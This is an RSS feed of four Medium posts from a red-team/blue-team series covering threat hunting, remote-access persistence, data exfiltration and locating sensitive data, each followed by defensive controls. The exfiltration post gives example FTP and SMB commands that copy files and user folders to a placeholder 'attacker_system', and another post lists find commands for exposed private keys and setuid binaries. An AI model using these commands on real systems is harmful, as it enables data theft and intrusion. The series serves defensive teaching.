<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Redteam &amp; Blueteam Series - Medium]]></title>
        <description><![CDATA[A complete RedTeam &amp; BlueTeam series which explains the common attack vectors &amp; techniques and Detective &amp; preventative controls. It is like a Cyber kill Chain which makes you understand about Exploitation, Threat, A.D attacks, Phishing, Malware, C2, Lateral movement, Persistence - Medium]]></description>
        <link>https://medium.com/redteam-blueteam-series?source=rss----b180c3534d60---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Redteam &amp;amp; Blueteam Series - Medium</title>
            <link>https://medium.com/redteam-blueteam-series?source=rss----b180c3534d60---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 23:12:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/redteam-blueteam-series" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Find Suspicious activity]]></title>
            <link>https://medium.com/redteam-blueteam-series/find-suspicious-activity-54d78a8e60d8?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/54d78a8e60d8</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
            <pubDate>Mon, 04 May 2020 13:38:39 GMT</pubDate>
            <atom:updated>2020-05-30T18:10:57.384Z</atom:updated>
            <content:encoded><![CDATA[<p>Type of suspicious activities</p><ul><li>Unusual/failed login attempts</li><li>Single account used from multiple locations</li><li>Anomalous access based on location, time of day, data assets etc.</li><li>Downloading/Accessing/Deletion of large amount of information</li><li>Unusual program access/installation</li><li>Access from bad reputation/black listed IP/endpoints</li><li>Emailing, Printing or saving sensitive data files at unusual times</li><li>Capturing screen of sensitive information using computer or mobile</li><li>Changing privileges</li><li>Installing un-authorized applications</li><li>Data leaks to external sources / Social media</li></ul><p><strong>Five steps to find malicious activity</strong></p><ol><li>Scheduled task (SCHTASKS /Query /FO LIST /V)</li><li>Wmic startup list full</li></ol><p><em>3) </em><strong><em>FIND ALL PROC &amp; CMD LINES RUNNING AT PRESENT</em></strong></p><p>a) wmic path win32_process get name,commandline /format:list or csv</p><p>b) wmic path Win32_Process WHERE Name=”cscript.exe” GET Name,ParentProcessId,processid</p><p>c) Tasklist /fi “pid eq 979”</p><p>&amp;</p><p>wmic path win32_process Where “Caption Like ‘%svchost%’ “ get Caption,CommandLine,CreationDate</p><p>4. Net user (list out of all users)</p><p>5. Netstat -ano</p><p>6) schtasks /query /fo LIST /v</p><p>7) ipconfig /all | findstr DNS ( find <strong>proxies</strong>) and netstat -anb (iexplore.exe n/w)</p><h4>Here, i just provided the commands for windows, you can do the same for linux also:</h4><ol><li>lsof</li><li>cron jobs</li><li>Checking bash_history file</li><li>user enumeration “cut -d: -f1 /etc/group | sort”</li><li>cut -d: -f1,3 /etc/passwd | egrep ‘[0–9]{4}$’ |cut -d: -f1</li></ol><p>#displaying a list of users with 4-digit UIDs (UIDs&gt;=1000)</p><p>6. resolv.conf file for any suspicious DNS</p><p>7. lastb -adF <em>#list Failed logins</em></p><p>Audit tool like <a href="https://linux.die.net/man/8/aureport"><strong><em>aureport</em></strong></a> provides summary reports of the audit system logs</p><p><a href="https://medium.com/redteam-blueteam-series/maintain-remote-access-without-a-c2-2d2a7101cb1e"><em>Previous episode — Maintain remote access without C2 &amp; it’s defenses</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54d78a8e60d8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/find-suspicious-activity-54d78a8e60d8">Find Suspicious activity</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Maintain Remote access without a C2]]></title>
            <link>https://medium.com/redteam-blueteam-series/maintain-remote-access-without-a-c2-2d2a7101cb1e?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/2d2a7101cb1e</guid>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[remote-access]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
            <pubDate>Mon, 04 May 2020 13:31:40 GMT</pubDate>
            <atom:updated>2020-05-04T13:42:17.357Z</atom:updated>
            <content:encoded><![CDATA[<p>As malware writers attempt to make their malware more resilient to take-down attempts and detection, there are a number of trends that we can expect in the near future.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*GyrzizOwqxPt8yx3XC9ctQ.png" /></figure><p>To understand this blog, let’s understand how C2 works. After the malware is installed, the malware will call out to the C2 server and wait for its next command. It is usually going to send out a beacon on a time basis to let the server know it is still alive and to see if there is anything it should do. When the server is ready, it will issue its command to execute on the infected host machine. Most of the current C2 instances will have unique id for every execution they make, if in sudden interruption happens the C2 infrastructure can be automatically work-on to get back the connection based on the unique id. C2 includes persistence also.</p><h3><strong>Red Team: Attack vectors and Techniques</strong></h3><p>Maintaining remote access without C2 using common interfaces is a sweet thing for red teamers wherein they create a backdoor account rather maintaining a C2 infrastructure. Yes, I agree on what you’re thinking — Persistence accounts, Stolen Authentication keys, not disclosing vulnerabilities to the victim. So you can come back using methods that your targets support rather than your target connecting back to you.</p><p><strong>1.Stolen authentication tokens</strong></p><p><strong><em>Valid Accounts:</em></strong> Consider how many of the organization’s credentials have already been exposed and could be used in an account takeover.</p><p>Leverage stolen credentials to connect to servers to gather more credentials. Servers running applications such as Microsoft Exchange Client Access Servers (CAS), Microsoft Exchange OWA, Microsoft SQL, and Terminal Services (RDP) tend to have lots of credentials in memory from recently authenticated users (or services that likely have Domain Admin rights).</p><p><strong><em>Password/private key — Pass the Hash — Pass the Ticket — </em></strong>All these once compromised can be able to get the account whenever attacker wanted(unless modified/patched).</p><p><strong>Skeleton key — </strong>How lucky if you’re able to access the machine without credentials or by creating your own credentials on the fly. Yeah it’s possible with Skeleton key.</p><p>Skeleton key injects itself into LSASS and creates a master password that will work for any account in the domain without even affecting the existing users login</p><blockquote><strong><em>Note:</em></strong> Skeleton can be only helpful to bypass single authentication if MFA is implemented you need to look for another method.</blockquote><p><strong>2. Common internet facing interfaces</strong></p><p>It is a common TTP for adversaries. Red teamers have developed a wide array of tools to continuously look for remote access points on the Internet. Services such as <em>Censys.io and Shodan.io</em>, designed to map assets on the Internet, can also be used to discover potentially vulnerable targets.</p><p>Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services.</p><p>Once a firm is targeted, it’s surprisingly easy to overcome the password protections in place. This is largely because there is only one factor to defeat: the password itself. In the absence of a multi-factor authentication mechanism such as a text, phone call, or randomly generated token, the hacker is free to guess a user’s password. With enough computing power, this is a process that can take only a few hours. Moreover, as a business adds more accounts over time, old unused accounts create an even larger surface to attack. Hackers also have access to billions of compromised credentials from past data breaches.</p><p><em>“Recent </em><a href="https://www.teiss.co.uk/sophos-xg-firewall-breach/"><em>Sophos Firewall XG SQL injection</em></a><em> </em>(CVE-2020–12271)<em>is an example.”</em></p><blockquote>While I was performing internal assessment, I have come across employee tried 1 month <strong><em>azure A.D</em></strong> trial account wherein he opened ports 3389 &amp; 22 open to internet and even configured weak passwords. Such <strong><em>RDP &amp; SSH</em></strong> protocols facilitates the adversary to get foothold on an organisation and from then attacker can use pivoting technique to extend the impact.</blockquote><p>Attacks on<em> Services hosted over the internet(Cloud computing). </em>Hypervisor also known as Virtual Machine Monitor is responsible for managing VMs in cloud computing.</p><p>When a <strong>hypervisor</strong> is compromised, a hacker can attack each virtual machine(VM) on a virtual host and this can lead to an DOS across the host or even a collection of servers. I have seen Ransomware attacks after compromising the hypervisor and then it affected all the virtual machines under that.</p><p><a href="https://attack.mitre.org/groups/G0074">Dragonfly 2.0</a> and <a href="https://attack.mitre.org/groups/G0049">OilRig</a> used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.</p><p><a href="https://attack.mitre.org/groups/G0053">FIN5</a> has used legitimate VPN, Citrix, or VNC credentials to maintain access to a victim environment</p><p><a href="https://attack.mitre.org/software/S0362">Linux Rabbit </a>attempts to gain access to the server via SSH.</p><p>Let’s take an example of Equifax, Equifax breach occurred through an unpatched web application that was vulnerable to an exploit <a href="https://www.digitalshadows.com/blog-and-research/gaos-equifax-post-mortem-report/">Apache Struts framework</a> (CVE-2017–5638)</p><p>Check for the below when attempting access on remote services:</p><ul><li><strong>Open Ports: </strong>Exposed ports that indicate services or assets available online that may offer a route to compromising your network or pose a significant risk in being exposed.</li><li><strong>Misconfigurations:</strong> Look for misconfigured databases, servers, and devices with <a href="https://www.shodan.io/">Shodan</a> and <a href="https://censys.io/">Censys</a></li><li><strong>Exploited Vulnerabilities: </strong>Major vulnerabilities in your infrastructure that have active exploits being used in the real world and allow for remote code execution.</li><li><strong>Certificates:</strong> Check for weak or expiring certificates on infrastructure.</li></ul><h3><strong>BLUE TEAM: Detective and Preventive Controls</strong></h3><p>For security teams, the sheer depth and breadth of what they need to defend may seem daunting. Fortunately, With the right tools, security teams can apply the same rules that keep their internal networks safe to their entire attack surface. Attack surface analysis is also important when applications/services are internet faced. Let’s see how we can implement security measures for defending at various levels.</p><p><strong>Endpoint level:</strong></p><p>1. Enforce Two-factor authentication on all external interfaces</p><p>2. Limit Terminal service, Citrix and VDE access to specific groups during specific hours</p><p>3. Dedicated system-if a computer is providing a service to the Internet, then it must not be used by any individual to check email, browse the web or be used as a PC for other business reasons.</p><p>4. Security patches for the operating system, firmware, application or service must be evaluated and act accordingly.</p><p>5. Many systems and applications come with default or built-in accounts that have passwords. Where possible, these default accounts shall be disabled and/or have their password changed</p><p>6. Anti-virus programs must be deployed and kept up-to-date on systems which defends if attacker drops and executes the malware.</p><p><strong>Network Level:</strong></p><p>1.When developing Internet applications, follow industry best-practice guidelines, such as OWASP, and change management procedures.</p><p>2. Use authentication and authorization controls to protect access to non-public information. Examples include user name and password, smart cards and tokens, biometrics, etc.</p><p>3. Use secure protocols for administration, development or maintenance of the system. For example, use SSH instead of Telnet; use SFTP instead of FTP; use VPN when practical.</p><p>4. Configuring firewall rules &amp; network segmentation. Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network</p><p>5. Implementing NIDs/NIPs</p><p>6. Implementing Canary networks, systems, applications, and accounts.</p><p>7. Enable event logging of the operating system and application to a level adequate for incident response and security investigations. All log entries must include time and date. At a minimum, enable logging for login events, logout events and web page access events.</p><p><strong>Process Level:</strong></p><p>1. Preparation is the effective key in identifying &amp; responding. Training end users at regular intervals and providing awareness on cyberattacks can help the organization against cyberattacks.</p><p>2. Implement incident respond procedures for <strong>handling</strong> security <strong>incidents</strong>, breaches, and cyber threats</p><p>3. Maintain Secure Configurations.</p><p>4.Train staff on the latest security threat and security tools.</p><p><a href="https://medium.com/redteam-blueteam-series/exfiltrate-sensitive-data-18b179caff74"><em>Previous episode — Data exfiltration &amp; it’s defenses</em></a></p><p><a href="https://medium.com/redteam-blueteam-series/find-suspicious-activity-54d78a8e60d8"><em>Next episode: 7–1 liners to find suspicious activity</em></a></p><p><strong><em>Bibliography</em></strong></p><p><a href="https://www.blackhillsinfosec.com/c2-c3-whatever-it-takes/">C2, C3, Whatever It Takes - Black Hills Information Security</a></p><p><a href="https://medium.com/u/123987db5653">Google B2B Team</a></p><p>@MITRE</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d2a7101cb1e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/maintain-remote-access-without-a-c2-2d2a7101cb1e">Maintain Remote access without a C2</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exfiltrate Sensitive Data]]></title>
            <link>https://medium.com/redteam-blueteam-series/exfiltrate-sensitive-data-18b179caff74?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/18b179caff74</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[cyber-risk]]></category>
            <category><![CDATA[data-exfiltration]]></category>
            <category><![CDATA[data-security]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
            <pubDate>Mon, 04 May 2020 03:30:53 GMT</pubDate>
            <atom:updated>2020-05-04T13:42:59.736Z</atom:updated>
            <content:encoded><![CDATA[<p>Data exfiltration is an unauthorized copying, transferring or retrieval of data from a source. The attacker can exfiltrate the data automatically, through the use of malware, or manually, by some remote code execution exploit. It is important to recognize that the automatic methods must be incredibly robust as almost all of these methods can fail depending on the network environment. For this reason, it is likely that if the attacker is exfiltrating data automatically, he or she will use methods most likely not to fail and may even have back up methods ready in case of failure states.</p><h3><strong>Red Team: Attack vectors and Techniques</strong></h3><p>Some of the most common protocols and standards used for data exfiltration or command and control include HTTP/HTTPS, FTP/FTPS/SFTP, SSH, IRC, email, P2P, and DNS or ICMP for covert channels. For both manual and automatic exfiltration, the method chosen for exfiltration is likely to be well known and well used channel that has legitimate uses. The below are the techniques which i have seen in wild.</p><p><strong>1.</strong>Attacker in order to make it portable &amp; minimize, attacker compresses &amp; encrypt the data .. So Check if there is any file compressed (7zip,rar,zip,zlib)</p><p>Tools like Network intrusion prevention, DLP helps this by blocking spec file types over unencrypted channels, so he may use encrypted channel/ other mechanisms for encapsulate traffic.</p><p><strong>2. </strong>A process that loads the <strong>Windows DLL crypt32.dll</strong> may be used to perform encryption, decryption, or verification of file signatures</p><p>i) Emotet has been observed encrypting the data it collects before sending it to the C2 server,</p><p>ii) using RC4 encryption, AES ; AES+base64 encode, 3DES</p><p>iii) compress it, and XOR encrypt it</p><p><strong>3.</strong>Any common sites like Dropbox, Google Drive and Box are permitted, especially if an organisation outsources to shared cloud services even proxying and filtering is enabled and also sites like <em>pastebin</em> or even <em>GitHub</em> offer an easy exfiltration channel. GitHub is often permitted in many technical organisations.</p><p><strong>4. </strong>Check if organisation hosts it’s own web servers and accessible from the internet, Compromise one of those and use it as a staging point.</p><p><strong>5. </strong>Analyze network data for uncommon data flows</p><p>i) a client sending significantly more data than it receives from a serve</p><p>ii) If in long connection sending fixed size of data packets / sending fixed size data packets at regular intervals.</p><p><strong>6. </strong>Data exfiltration is performed with a different protocol from the main command and control protocol or channel. Protocols include FTP, SMTP, HTTP/HTTPS, DNS, SSH,SMB, P2P.</p><p>The FTP protocol involves an authentication step, followed by the transfer of the file, followed by a closing of the connection. FTP also has the ability to decide which side of the connection will act as the client or connection initiator. This provides a slight advantage over other methods in that it allows an attacker to choose which way the connection will start, allowing some flexibility to bypass certain target-side firewall restrictions.</p><p>Standard file transfer using FTP allows the port of the receiving server to be specified by the server. Therefore, it is perfectly valid for FTP to transfer the file using <strong><em>non-standard ports for both malicious and non-malicious purposes.</em></strong></p><blockquote>Anonymous FTP command-line example:</blockquote><blockquote>echo PUT C:\Path\to\file.txt | ftp -A attacker_system</blockquote><blockquote><strong>SMB Transfer</strong></blockquote><blockquote>SMB command-line example:</blockquote><blockquote>net use \\attacker_system\IPC$ /user:username password &amp;&amp; xcopy /S /H /C /Y C:\Users\* \\attacker_system\share_folder\</blockquote><p><strong>DNS Tunneling Vector</strong></p><p>DNS Tunneling is the process of creating covert communications channel b/w a computer within a n/w &amp; server outside the n/w. Attackers can use this vector for C&amp;C, DATA EXFILTRATION OR TUNNELING.</p><p><strong>7. </strong>Built-in tools such WMIC, BITSADMIN, CURL,wget helps to transfer data but can be detected sometimes.</p><p><strong>8. </strong>If an attacker or malicious insider has physical access, then various options are open. Exfiltration over Physical medium [USB, MP3 Player, Bluetooth, Phone &amp; etc].</p><blockquote>Fsquirt #windows bluetooth transfer tool</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*ID9EyeAZmVuI9GQVl4gn8A.png" /><figcaption>Channels used to exfiltrate sensitive data</figcaption></figure><h3><strong>BLUE TEAM: Detective and Preventive Controls</strong></h3><p>Monitoring egress points from the internal network is another way to improve security. The most common locations to perform exfiltration monitoring include border gateways, at-edge IDS/IPS platforms, in the DMZ/DMZ firewall zones and within internal IDS/IPS that are in-line. DLP platforms can also do network exfiltration monitoring for data types, keywords and other more advanced pattern matches.</p><p><strong>Endpoint &amp; Network level</strong></p><p><a href="https://attack.mitre.org/mitigations/M1037">Filter Network Traffic</a> — Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.</p><p><a href="https://attack.mitre.org/mitigations/M1031">Network Intrusion Prevention</a> — Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.</p><p><a href="https://attack.mitre.org/mitigations/M1030">Network Segmentation</a> — Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network</p><p>O.S Configurations — Prevent the creation of new network adapters wherever possible. Exfiltration occur over diff n/w medium than the C&amp;C Channel [Bluetooth, Radio Frequency channel]</p><p>Disable Removable media — Prevent the intruder from grabbing confidential data by not allowing USB access.</p><p><strong>Process Level:</strong></p><p>1. Preparation is the effective key in identifying &amp; responding. Training end users at regular intervals and providing awareness on cyberattacks can help the organization against cyberattacks.</p><p>2. Implement incident respond procedures for <strong>handling</strong> security <strong>incidents</strong>, breaches, and cyber threats</p><p>3. Maintain Secure Configurations.</p><p>4.Train staff on the latest security threat and security tools.</p><p><a href="https://medium.com/redteam-blueteam-series/find-and-access-sensitive-data-4d058ca616df"><em>Previous episode — Find &amp; access sensitive data &amp; it’s defenses</em></a></p><p><a href="https://medium.com/redteam-blueteam-series/maintain-remote-access-without-a-c2-2d2a7101cb1e"><em>Next episode — Maintain remote access without C2 &amp; it’s defenses</em></a></p><p><strong><em>Bibliography</em></strong></p><p><a href="https://www.pentestpartners.com/security-blog/data-exfiltration-techniques/#internalstaging">Data exfiltration techniques</a></p><p>@MITRE Att&amp;ck</p><p><a href="https://medium.com/u/123987db5653">Google B2B Team</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18b179caff74" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/exfiltrate-sensitive-data-18b179caff74">Exfiltrate Sensitive Data</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Find and Access Sensitive Data]]></title>
            <link>https://medium.com/redteam-blueteam-series/find-and-access-sensitive-data-4d058ca616df?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/4d058ca616df</guid>
            <category><![CDATA[cyber-threat]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[sensitive-data]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[data-security]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
            <pubDate>Mon, 04 May 2020 03:12:19 GMT</pubDate>
            <atom:updated>2020-05-04T13:44:08.872Z</atom:updated>
            <content:encoded><![CDATA[<p>Ransomware, insider threat and denial of service are considered the top threats to sensitive data by recent SANS Data Protection Survey. User credentials and privileged accounts represented the most common data types involved in most of breaches. It is just as desirable to them as “sensitive” data being targeted for financial gain or destruction. Organizations need to reduce risk by first understanding their sensitive data, how it flows and where it resides, as well as the threats to that data. With this knowledge, they can establish the appropriate controls that support the organization’s business operations and then identify technologies to reinforce data protection policies and procedures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*sAgNmvflB8G9SE5QOTCMLA.png" /></figure><h3><strong>Red Team: Attack vectors and Techniques</strong></h3><p>As part of their normal workflow, employees store sensitive corporate data in many places usually unaware of the security or compliance risk this may create for their organization. Even the data stored at Removable media, unmanaged user-owned and unmanaged organization-owned endpoints apart from major/regular stored data is important when assessing data value. Let’s understand the common targets/industry of cyber-attack:</p><p>1. Banking and Finance</p><p>2. Government</p><p>3. HealthCare</p><p>4. Technology</p><p>Once the attackers have significant control over the attacker, they try to find/access the sensitive information mentioned below.</p><ul><li>User login ids and passwords</li><li>Privileged accounts</li><li>Personal information</li><li>Intellectual property</li><li>Human resources/Employee data</li><li>Financial data</li><li>Medical information</li><li>Other</li></ul><p>Compromise of user names and passwords is a clear vector in preparing to acquire other sensitive data, including personally identifiable information, corporate records and intellectual property.</p><p>In short, above all has categorized into 4 shells.</p><ul><li>Personally identifiable information or PII (e.g. Social Security numbers, phone numbers, home addresses, etc.)</li></ul><p>In recent times, Marriott International data breach exposed PII &amp; CHD</p><ul><li>Protected health information or PHI (e.g. patient diagnoses, medical treatments, etc.)</li><li>Card holder data or CHD (e.g. credit card numbers, debit card numbers, bank accounts, etc.)</li><li>Confidential data (e.g. financial records, business plans, top secret documents, source code, trading algorithms, etc.)</li></ul><p><em>Insider Trading info — This also comes under confidential data wherein this data leakage directly impacts the organisation income from market value. It completely depends on investors &amp; promoters who are confident about the business prospects. Such insider activity more often than not leads to changes in stock prices. Recent YES BANK crisis is an example but SEBI had put some restrictions on investors to prevent completely downfall.</em></p><p>Combination of malicious insider and unintentional insider vectors could cause the most damage, especially since detection (and subsequent protection) is still not as effective as it should be. For example, the 2017 Verizon Data Breach Investigations Report attributes 81% of hacking-related breaches to stolen and/or weak passwords.</p><blockquote><em>From the attackers perspective determine where it sits within the IT infrastructure. There are two high-level ways data is stored within an organization:</em></blockquote><p>•<em> </em><strong><em>Structured repositories</em></strong><em>:</em> Data is organized into structured repositories, such as relational databases, that are typically supported and controlled by the IT organization.</p><p><strong><em>Eg:</em></strong> Mail servers, File servers, Database servers and Code repositories.</p><ul><li><strong><em>Unstructured repositories:</em></strong> Data is generally end-user driven and stored in less controlled repositories such as network shares, SharePoint sites and workstations.</li></ul><p><strong>Threats involved in finding and accessing sensitive data</strong></p><p><strong>Spyware — </strong>A type of malware that aims to gather information about a person or organization, without their knowledge, and send such information to hack another entity without the consumer’s consent.</p><p><strong>Keyloggers — </strong>software programs or hardware devices that track the activities (keys pressed) of a keyboard and tries to gain access to your private information.</p><p><strong>File Sharing Applications — </strong>The threat posed by file sharing, or peer-to-peer, applications manifests itself in a number of ways. These programs are often configured by default to share the contents of common document and media folders without requiring any interaction by the user. This frequently catches people by surprise when they discover that their sensitive documents are available for download by other users</p><p><strong>Unencrypted Sessions — </strong>Unencrypted sessions refer to network sessions that are not protected by any form of encryption. The attacker can capture the data as it is sent to this device on its way to the destination device. Another possibility is to use malware or an exploit like ARP spoofing or DNS cache poisoning to configure a computer to route packets to another device controlled by the attacker.</p><p>ARP spoofing is limited to the hosts on a local network and pretty much can only be used to sniff packets or conduct man-in-the-middle and denial-of-service attacks. DNS cache poisoning, by comparison, is not only capable of those same types of attacks, but can also be used to spread malware and phish for user data, such as credentials. It can be very difficult for victims to determine when these types of attacks are occurring.</p><p><strong>Session Hijacking —</strong> Session hijacking is a type of attack where a malicious user takes over an existing session from a legitimate user.</p><p>web applications protect login pages with SSL to safeguard user account credentials from sniffing, but not protect other parts of the site after the user has authenticated.</p><p>If encryption is not utilized for the entire network session, and the cookie is not properly marked with the secure flag, when the session cookie is sent to back to the server as a part of any future requests from the user’s client anyone capable of capturing the packet traffic can obtain it. Cross-site scripting vulnerabilities in web applications, where attackers take advantage of unverified inputs in web pages to inject their own code, provide another way for an attacker to capture a session cookie. This exploit, which does not even require the ability to intercept network traffic, allows the attacker to instruct the user’s browser to return a copy of session cookie.</p><p><strong>Data Left Behind —</strong> User activity often results in temporary data being created or stored on a computer. For instance, the common task of browsing the web may result in the creation of and modification to a number of files that may remain on the machine for some length of time. Cached files and cookies are two examples of files that are commonly created from browsing web sites. Cookies in particular may contain sensitive session information or other personal data related to user’s visit to a site. Improperly configured sites may not instruct the browser to avoid caching specific pages, which can lead to sensitive data being stored in the cache folder. Additionally, many browsers keep track of the sites visited by users with history and favorites databases. Any future users of the computer may have access to this information.</p><p>Document editing software often creates temporary copies of opened documents. Many applications, after experiencing an error, will create event log entries that could contain user data. Even system event logs will usually detail at a minimum when users log in and out.</p><p><em>Above explained threats would deal the data in various forms name it as Data at motion, Data in use and Data at rest.</em></p><blockquote>PowerView has a lot of useful modules for finding data on the network.</blockquote><blockquote>i) Invoke-ShareFinder <em>#Finds (non-standard) shares on hosts in the local domain</em></blockquote><blockquote>ii) Invoke-FileFinder #<em> Finds potentially sensitive files on hosts in the local domain.</em></blockquote><blockquote>Linux has <strong><em>find</em></strong> to find data</blockquote><blockquote>• find / -type f -perm -o=r \( -name “*.conf” -o -name id_rsa \) 2&gt;/dev/null #World-readable files</blockquote><blockquote>• find / -perm -u=s -type f 2&gt;/dev/null #setuid executables</blockquote><h3><strong>BLUE TEAM: Detective and Preventive Controls</strong></h3><p>The first step in determining how to protect sensitive data is understanding the threat associated with each.</p><p><strong>Endpoint &amp; Network Level</strong></p><p>For users considering working with data remotely, there are two things to understand about man-in-the-middle attacks. <strong>First,</strong> public wireless networks present a great opportunity for those interested in conducting man-in-the-middle attacks as it is relatively easy for an attacker to set up a rogue access point that looks legitimate and wait for users to join. This sets up part of the attack, wherein the user connects to a device controlled by the attacker and the attacker is able to intercept the users traffic. <strong>Second</strong>, any application that does not do an adequate job of verifying the identity of a remote host when setting up a session is vulnerable to this type of attack.</p><ul><li><strong>Virtual Private Network</strong>s Defends against: Session hijacking, Unencrypted sessions</li><li><strong>Secure Shell- SSH</strong> Tunneling Defends against: Session hijacking, Unencrypted sessions</li><li><strong><em>When securing the data, we must focus on 3 levels</em></strong></li></ul><p>a) Data at motion — Focus on Perimeter Security, Network Monitoring, Internet access control, Data collection and exchange with 3rd parties, Use of Instant messaging, Secured remote access to the company</p><p>b) Data in use — Focus on Privileged user monitoring, inappropriate usage/access monitoring, Export/Save restrictions.</p><p>c) Data at rest — Focus on Endpoint security, disk encryption, Mobile device protection, Physical media control.</p><blockquote>Technologies like DLP, Proxy Servers, Content filters, secure email, secure FTP, secure APIs , Encrypted remote access, workstation restrictions on IM apps — all these can be implemented for <strong>data at motion.</strong></blockquote><blockquote>Endpoint DLP Technology, application controls, SIEM monitoring, Data redaction tools — all these can be implemented for <strong>data in use</strong>.</blockquote><blockquote>Endpoint DLP Technology, Full disk encryption tools, Workstation restrictions, Preventing use of Data wiping software — all these can be implemented at <strong>data in rest.</strong></blockquote><ul><li>Add a tool/mechanism that protects sensitive data by building an additional layer of data security and privacy into your data workloads.</li><li>Microsoft OneDrive provides an preventive option from ransomware attacks by syncing data to their OneDrive account.</li><li>Implement defending tools which are obliged to GDPR, HIPPA, PCI-DSS and related compliance that secures your data.</li><li>Implementing Honeypots, Tarpits and Canary tokens.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*4DU2oxORZ0PkB6GWZ0H7aw.png" /><figcaption>Data protection technologies</figcaption></figure><p><strong>Process level</strong></p><p>IT and security teams to educate their employees and coworkers about company policies for storing and sharing data in cloud services, and enforce those policies without inhibiting employee’s productivity. Policies about the sensitive data are considered the most effective controls overall in protecting data,</p><ul><li>Administrative policies and procedures</li><li>Employee training</li><li>Separation of duties/Admin controls</li><li>Review of logs for violation or compliance with data-related policies and procedures</li><li>Data-sharing or use agreements</li><li>Cyber insurance</li><li>Consolidate and isolate sensitive data stores</li><li>Implement incident respond procedures for <strong>handling</strong> security <strong>incidents</strong>, breaches, and cyber threats</li></ul><p><a href="https://medium.com/redteam-blueteam-series/escalate-domain-privileges-e53ae4027856"><em>Previous episode — Domain privilege escalation &amp; it’s defenses</em></a></p><p><a href="https://medium.com/redteam-blueteam-series/exfiltrate-sensitive-data-18b179caff74"><em>Next episode — Data Exfiltration &amp; it’s defenses</em></a></p><p><strong><em>Bibliography</em></strong></p><p><a href="https://www.skyhighnetworks.com/cloud-security-blog/9-stats-it-should-know-on-sensitive-data-stored-and-shared-in-the-cloud/">https://www.skyhighnetworks.com/cloud-security-blog/9-stats-it-should-know-on-sensitive-data-stored-and-shared-in-the-cloud/</a></p><p><a href="https://www.varonis.com/blog/data-security/">https://www.varonis.com/blog/data-security/</a></p><p><a href="https://medium.com/@joecrobak/seven-best-practices-for-keeping-sensitive-data-out-of-logs-3d7bbd12904">https://medium.com/@joecrobak/seven-best-practices-for-keeping-sensitive-data-out-of-logs-3d7bbd12904</a></p><p><a href="https://www.sans.org/reading-room/whitepapers/analyst/sensitive-data-risk-2017-data-protection-survey-37950">https://www.sans.org/reading-room/whitepapers/analyst/sensitive-data-risk-2017-data-protection-survey-37950</a></p><p><a 